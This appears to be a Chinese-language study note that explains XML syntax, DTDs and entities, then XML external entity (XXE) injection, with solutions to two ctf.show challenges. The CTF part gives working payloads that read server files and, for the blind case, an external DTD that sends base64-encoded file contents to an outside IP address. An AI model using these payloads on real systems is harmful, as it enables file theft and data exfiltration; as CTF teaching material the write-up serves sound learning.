目录
XML
定义
可扩展标记语言,主要用来传输信息的,而超文本标记语言(html)是用来展示的
基础语法
-
文件后缀为xml
-
文件头部声明
<?xml version-"1.0" encoding="UTF-8"?>
-
唯一根元素
<?xml version="1.0" encoding="utf-8" ?>
<student>
<name>
<EN>makka_pakka</EN>
<CN language="中文">hello,world</CN>
</name>
<age>18</age>
<sex>man</sex>
</student>
student就是根元素
注意:元素属性必须要用引号括住,就如CN元素的属性language
-
大小写敏感,且标签必须闭合
-
PHP读取xml文档
<?php
# 在PHP中,DOM是一种解析XML和HTML文档的方式
$dom = new DOMDocument(); // 实例化 DOMDocument ,创建DOM文档对象
$dom -> load('xml.xml'); // 加载 xml 文件
$name = $dom -> getElementsByTagName('name'); // 标签名获取 name 节点
echo $name -> item(0) -> nodeValue; // nodeValue 获取文本内容
$CN = $dom -> getElementsByTagName('CN');
echo $CN -> item(0) -> getAttribute('language'); // 获取属性值
?>
DTD
DTD的全称为Document Type Definition,是一种文件定义格式。 DTD规定了XML文件结构为XML文件提供了语法与规则。 在DTD中定义XML文件的结构,然后按照DTD的声明来编写XML文件。就好像编程语言中的函数定义,在使用函数时要根据函数声明的格式进行来引用。 PS:简而言之,DTD就是用来约束XML文档的
文档声明
声明放在<?DOCTYPE 根元素[] ?>中
eg.
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE student[ <!--声明根元素为student -->
<!ELEMENT student (name,age,sex)> <!--定义 student 元素有三个元
素:"name,age,sex"-->
<!ELEMENT age (#PCDATA)> <!--定义 age 元素为 "#PCDATA" 类型-->
]>
<student>
<name>
<EN>makka_pakka</EN>
<CN language="中文">hello,world</CN>
</name>
<age>18</age>
<sex>man</sex>
</student>
内部文档声明
就是将DOCTYPE声明直接放在xml文件中,如上面那个
外部文档声明
就是将文档声明放在xml文件之外
文档声明文件后缀为 dta, eg. test.dtd, 如果要使用就在xml文件中导入dtd文件
<!DOCTYPE root-element SYSTEM "filename">
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE student SYSTEM "student.dtd"> <!--将student.dtd导入-->
<student>
<name>
<EN>makka_pakka</EN>
<CN language="中文">hello,world</CN>
</name>
<age>18</age>
<sex>man</sex>
</student>
实体声明
在xml中,实体就相当于变量,分为引用实体和参数实体
引用实体,必须在内部DTD文档中定义,不仅仅可以在xml内部使用,而且可以在DTD部分使用,就像全局变量
参数实体 ,只可以在DTD部分进行使用,就像局部变量
引用实体
语法:<!ENTITY 实体名称 "实体的值">
xml中引用:&实体名称;
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE student[
<!ELEMENT student (name)>
<!ELEMENT name (#PCDATA) >
<!ENTITY name "hello,world">
]>
<student>
<name>&name;</name>
</student>
<!--输出-->
<student>
<name>hello,world</name>
</student>
内部声明
就是直接在xml文档中声明,如上
外部声明
在xml源文件外的dtd文档中声明的
语法:<!ENTITY 实体名称 SYSTEM "file">
参数实体
语法:<!ENTITY % name1 "<!ENTITY name 'hello,world'>">
(%和实体名之间的空格不能少)(参数实体的值是字符串,所以某些字符要用字符实体替换)
引用: %实体名;
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE student[
<!ELEMENT student (name)>
<!ELEMENT name (#PCDATA) >
<!ENTITY % name1 "<!ENTITY name 'hello,world'>">
%name1;
]>
<student>
<name>&name;</name>
</student>
%name1; -> <!ENTITY name 'hello,world'>
内部实体
就是系统预留的实体
<(后面都有个分号) | < | less than |
---|---|---|
> | > | greater than |
& | & | ampersand |
&apos | ' | apostrophe |
" | " | quotation mark |
字符实体
xml规定字符串中某些字符要用字符实体替换
指用十进制格式(&#aaa;)或十六进制格式(પ)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。
eg.(到bp用html编码加密)
% -> $#x25
XXE
XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
xml支持的协议
Libxml2 | PHP | Java | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob |
例题
Web373
题目:ctf.show
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
libxml_disable_entity_loader
由于这里是false,所以就可以加载外部实体——>xxe
构造payload:(用post传参)
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///flag">]>
<b>
<ctfshow>&b;</ctfshow>
</b>
Web374
题目:ctf.show
与373相比没有了回显,无回显可以用参数实体外带数据()
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
思路:
-
file->用PHP伪协议读文件
-
访问vps的dtd文件
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8081/xxe.dtd">
%remote;%dtd;%send;
]>
xxe.dtd
<!ENTITY % dtd "<!ENTITY % send SYSTEM 'http://47.113.146.206:9000?pass=%file;'>">
% 用 % 因为 xml 规定 字符串里面某些符号要用字符实体替换。
为什么这里我们要导入外部实体,为什么不直接内部来读呢
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8081?pass=%file;">
%remote
]>
因为XML文档中规定,在DTD内部子集中的参数实体调用 不能够混杂到标记语言中。但是XML规范还声明了一点:外部实体不受此限制。
如有错误,敬请指出